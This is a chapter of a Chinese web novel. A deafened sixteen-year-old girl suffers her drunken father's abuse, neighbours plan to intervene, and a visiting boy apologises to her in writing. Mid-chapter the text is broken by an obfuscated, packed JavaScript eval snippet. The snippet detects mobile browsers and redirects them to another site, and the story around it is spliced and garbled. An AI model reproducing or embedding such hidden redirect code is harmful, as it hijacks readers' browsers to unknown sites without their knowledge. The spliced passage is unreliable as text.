此时此刻,像这样夜深人静的深刻,她不用应付突然出现跟她说话的人们,也不用惧怕江德富的打骂会猝不及防降临。 对神经时常紧绷的江妮来说,现在是非常难得的、可以让她稍微感到放松的独处时光。 不知不觉就到了深夜。 江妮把一地的东西都先收起来,打算睡醒再继续干。 至于她喝完的那个饮品杯子,以及装饮品的袋子和吸管包装,被江妮偷偷摸着黑出家门扔到了垃圾投放点。 扔完东西再回来,江妮从里面给大门上插销挂了锁,然后拉了一下门洞子里那盏灯的拉绳。 关掉灯后,江妮就径直回了她自己的屋。 但江妮只是去拿身要换洗的衣服,她很快就拿着毛巾和衣服又来到了院子,去了用砖垒起来的那个可以洗澡的角落。 今天白天很热,所以哪怕到了这个时间点,房顶上那个大黑桶里的水还是温的。 江妮洗过澡回到自己房间后,才又拿起那支红霉素软膏,往胳膊上的伤口涂抹起来。 要是明天伤口能结痂的话,她后面应该就不用再抹药了。 江妮这么想着,觉得这支药膏她最好还是随身带着,这样她就可以等她再见到那个男生的时候,直接把药膏还给他。 隔天江妮在黎明五点就被江德富给拎了起来。 江德富让她趁着天儿还凉快,跟着他去地里干活儿。 江妮凭借自己的猜测,打算去给江德富做早饭。 结果遭到了江德富连拉带扯的一顿臭骂。 当然,江妮只感受到了他力气很大的生拉硬拽,并不知道他都骂了些什么,也不知道他的需求到底是什么。 在江德富拽扯她的时候,江妮睁大一双充满惶恐的眼睛,试图分辨出他的需求。 也是此时,江德富终于察觉到了不对劲儿。 “你聋了啊!”他瞪着布满血丝的眼珠子,表情怒气冲冲的,嗓门大到震天响:“你是不是聋了!” 江妮还是没有讲话。 江德富见她没反应,又说了几句话试探:“去给我洗衣服。” “跟我去地里。” “给我拿草帽去。” …… 不管他提什么要求,江妮都没有按照指令做。 她要么想试图去做早饭,要么就无措地僵站在原地。 江德富盯着江妮,满脸都是嫌弃和厌恶。 随即,他就指着她的鼻子破口大骂道:“你个来讨债的赔钱货!我辛辛苦苦养你这么大,没给家里赚钱就算了,还成了个要人伺候的臭聋子!我要是你我现在就一头撞死!省的给家里添麻烦!你前几天怎么没跟着你妈一块儿死了算了!” 虽然这么骂着江妮,但该榨取的劳动力,江德富还是要从江妮身上榨取。 江妮被带去了地里干农活,一直到早上九点,落在身上的阳光都仿佛要把她烤熟,她才跟着江德富回家。 回了家后江妮也没闲着。 她得做早饭,吃了早饭还要给江德富洗衣服。 洗完衣服还有没干完的插花零活儿等着她。 当沈寂从土炕上吹着空调醒来时,已经是要吃午饭的时间了。 陈守疆在炕上支好小桌子,刚把午饭端上来,家里就来了人。 是薛建生。 “陈叔,我借个铁锹,我家的铁锹今天也不知道赶了什么寸劲儿直接断了,下午我还得去地里浇地,借你的用一用。” “就在棚子里的墙边呢,”陈守疆对薛建生说:“你自个儿去拿就行。” “行嘞!”薛建生笑道:“明儿个就给你送回来。” “哦对了,”本来要转身走的薛建生又停下了脚步,“有个事儿我觉得还是得跟你说一下。” “江妮听不见了。” “啪嗒”—— 是沈寂手里的筷子掉在了桌上。 7.第 7 章 “什么叫听不见了……”沈寂直愣愣地望着薛建生。 薛建生说:“就是聋了,什么都听不到了。” 随后他就把昨天上午他碰到江妮的事告诉了陈守疆和沈寂。 陈守疆这会儿才终于明白昨天江妮为什么一个劲儿地问他碟子坏没坏。 “陈叔,妮儿耳朵听不到这事儿挺严重的,”薛建生叹息道:“但是你也知道江德富那酒蒙子,谁的话也听不进,我怕就算她知道了这个事儿,也不会带妮儿去看病……但是孩子年纪还小,要是以后大半辈子都只能这样聋着,真的太可惜了,她可是个考学的好苗子……” 陈守疆点了点头,也跟着叹了口气,“谁说不是呢。” “咱们村这几年也就出了妮儿这一个学习的好料子。”陈守疆说。 “耳朵出了问题真的拖不得,越拖越不好治,”薛建生说到底也就是个小村医,不管是村里的设备条件还是他的个人能力,都极其有限,对于江妮的突聋,他实在是束手无策。 薛建生虽然已经很严肃地提醒了江妮一定要尽早去看病,但他心里也大概清楚,江妮不会去县里甚至省里瞧大夫的。 这事儿说白了,是江家的家事,外人再说再劝,江德富就是不给江妮去看耳朵出的毛病,他们也无能为力。 陈守疆略微沉吟了片刻,说了句:“吃了饭我就去江家一趟,有没有用的,我得去劝劝。” 薛建生心里踏实了些,也明显松了口气,“你能去就太好了,江德富面儿上还是不敢忤逆你的。” “但是他也从来没真的听过我的话。”陈守疆很无奈地说。 可既然他知道了这件事,肯定是要劝说劝说江德富的,江德富听不听陈守疆无法插手,但他得把他能做的尽力做到。 只是赌一个万一罢了。 万一,江德福良心发现了呢。 “那个……”沈寂问薛建生:“建生叔,江妮他妈妈去世那天晚上,江德富扇了江妮一巴掌,会不会是因为江德富打了她,她的耳朵才……” 薛建生不敢妄下定论,“这个真不好说,还是得带她去大医院做检查看看到底是什么情况,耳聋分好几种,现在咱们谁也不知道她耳聋的诱因是什么。” 薛建生走后,沈寂还保持着刚才的姿势,盘着腿僵坐在炕上。 陈守疆把他的筷子捡起来递给他。 沈寂有点不在状态地接过筷子,好一会儿也没动筷子吃东西。 明明刚刚他一睡醒就嚷着饿死了。 沈寂想起自己昨天还因为她不跟自己说谢谢挑了理。 他甚至在他后来跟他说谢谢的时候,还调侃她不装哑巴了。 沈寂现在只想给自己的嘴上来两巴掌。 昨天他到底在嘴贱什么。 沈寂也真的在自己的嘴上打了两下子。 陈守疆目光惊讶地扭脸看着他,说:“你不吃饭打自己嘴干嘛?” 沈寂闷声闷气地说:“不干嘛!” 陈守疆又问他:“你小子怎么还突然生起气了?” “不知道,”沈寂如实道:“我就是听到她听不见了觉得心里有点堵。” “唉,”陈守疆叹了口气,“妮儿这闺女是挺可怜的,才没了妈,耳朵又听不见了。” 这顿饭沈寂吃的没滋没味的。 吃过午饭,陈守疆去洗碗刷锅,沈寂去院子里拿了昨晚洗好挂起来晾干的新衣服。 沈寂把昨天新买的衣服从晾衣架上取下来的时候,衣服上被太阳晒的热乎乎的。 他换好这件灰色的连帽无袖背心,还有差不多刚好露出他膝盖骨来的灰色抽绳短裤。 然后又去陈国宏那屋的行李箱中拿出一双新的一次性短袜穿好,再蹬上那双昨天新买的运动鞋,系好鞋带。 等他从陈国宏那屋走出来,陈守疆刚好在往院子里泼刷锅水。 陈守疆见他把新衣服新鞋都穿上了,夸了一句:“新的就是好看。” 沈寂哼了声,“老头儿你没说到关键点上。” 陈守疆听闻就乐了,“关键点是嘛啊?你长得真俊?” 沈寂挑起眉不置可否。 不等陈守疆再说什么,沈寂就说:“一会儿我要跟你一起去。” “江妮家,我也要去。” 陈守疆没拒绝,“你想去就去。” 陈守疆和沈寂到江妮家门口的时候,江妮正在敞着大门的门洞子里插花。 看到有人来,江妮就站了起来。 陈守疆尽可能地将语速放慢,问江妮:“妮儿,你爸在家吗?” 江妮一开始满脸茫然地望着陈守疆,在陈守疆第三次说出“你爸”的时候,她终于辨别出了陈守疆在说什么。 她赶忙点了点头,往屋里指了指。 陈守疆也对她点头,一边打手势用来辅助,一边告诉江妮:“我去屋里找他。” 而沈寂,在看到江妮后,就一直站在他家大门边,没有上前也没有说话。 陈守疆要去屋里的时候,沈寂在后边叫了他一声:“老头儿。” 他对陈守疆说:“我不进去了。” 他怕他进了屋会忍不住揍那个狗东西。 而沈寂知道,自己毕竟是客,说来说去他也只是这个村子以外的人,所以他在尽量不给老头儿惹事。 当然,他想要留在这儿,也是有话想要跟江妮说。 陈守疆回他:“行,那你在这儿跟妮儿玩会儿。” 这话听起来完全就是把沈寂和江妮当成了只有几岁的小孩子。 等陈守疆离开,沈寂还没主动跟江妮说什么,江妮就从她的短裤兜兜里掏出了那支他昨天塞给她的红霉素软膏。 她伸出手,把这支红霉素软膏递给了沈寂。 沈寂连摇头带摆手地说:“我不要,你留着吧。” 江妮仰脸望着这个长得很高的男生,又把红霉素软膏往前递了递,示意他拿去。 沈寂这下只能把双手背到身后,一步步往后退了。 江妮见他不肯要,只能作罢。 她本来就内向不善言辞,现在又听不见任何声音,所以也没白费力气去跟这个男生搭话。 她重新把这支红霉素软膏放进裤子兜兜里,然后就坐到了小板凳上,继续插起花来。 须臾,有一只很好看的手出现在了她视野中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460370|201249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈寂蹲在她旁边,把手伸到江妮眼前挥了挥,成功让她抬头看向了他。 沈寂话语缓慢地对她说:“昨天,对不起。” 江妮不自觉地歪起头,像是在思索,但目光里都是她没有听懂他在说什么的迷茫。 沈寂想要摸手机,然后想起自己的手机早在来这儿之前就被没收了。 他只好又问江妮:“你家有纸笔吗?” 知道这句话江妮应该不会懂,沈寂开始一边比划写字地动作,一边一个字一个字地往外蹦:“纸,纸和笔,写字,写字。” 江妮的眼睛蓦地一亮。 她浅笑起来,点头,然后就飞快地起身往屋里跑去。 很快,江妮就拿着一个可以随身携带的小小的线圈便签本和一支黑色的碳素笔跑了回来。 她跑动的时候,扎起来的高马尾会左右甩动。 这个瞬间,沈寂在江妮的身上感受到了一股还没有完全消失的鲜活。 她把本子和笔递给他,沈寂接过来,翻开这个比他掌心还小的线圈本的封皮,里面是写了东西的,记录的是一些数理化公式和知识点。 江妮连忙伸手往后翻去。 她的手指很细,不算特别白,也没有属于女孩的那种细嫩,反而略带粗糙,手背上还有一道结痂脱落后的痕迹。 江妮一直翻到一张空白页,才收回了手。 沈寂旋开碳素笔的笔帽,然后就在这页写了一句话。 他写的是刚刚就对她说过的话:[昨天,对不起。] 江妮在看到他这句话之后,诧异地瞪大了杏眼。 她连忙对沈寂摆手,虽然自己听不到自己的声音,但江妮还是把话说出了口:“是我该谢谢你,送给我饮品还有药膏。” 沈寂和江妮对望着,看着她脸上的表情无比真诚,他心里反倒更加愧疚了——为昨天自己说她装哑巴。 随后,沈寂又在本上写:[药膏你留着,不用给我。] 从他在本子上落下第一笔开始就在看他在写什么的江妮回他说:“谢谢你。” 沈寂一时想不到再说什么。 本来就是要过来给她道歉的,现在也道歉了,好像也没别的要和她沟通的了。 就在沈寂要合上本子的前一刻,江妮忽然出声问他:“你叫什么啊?” 沈寂的动作一滞,随即,他在本子上写了两个字—— 沈寂 江妮之所以突然问沈寂的名字,是因为这个世界上对她好的人少之又少,而眼前这个陌生的男生对她散发过善心。 所以她想要记住他的名字。 他一看就不是他们这里的人,他身上的那种气质和这里格格不入。 他像是从大城市来的人。 他一定不会在这儿停留太久的。 也许就只是暑假来这儿玩玩。 所以,过了这个假期,或许都等不到这个暑假结束,他就会消失在她的世界里。 而她,只是想要在他离开之前,知道他的名字。 不管以后过了多少年,江妮都一定会记得,十六岁的这个暑假,有一个叫沈寂的人,给过她一支药膏。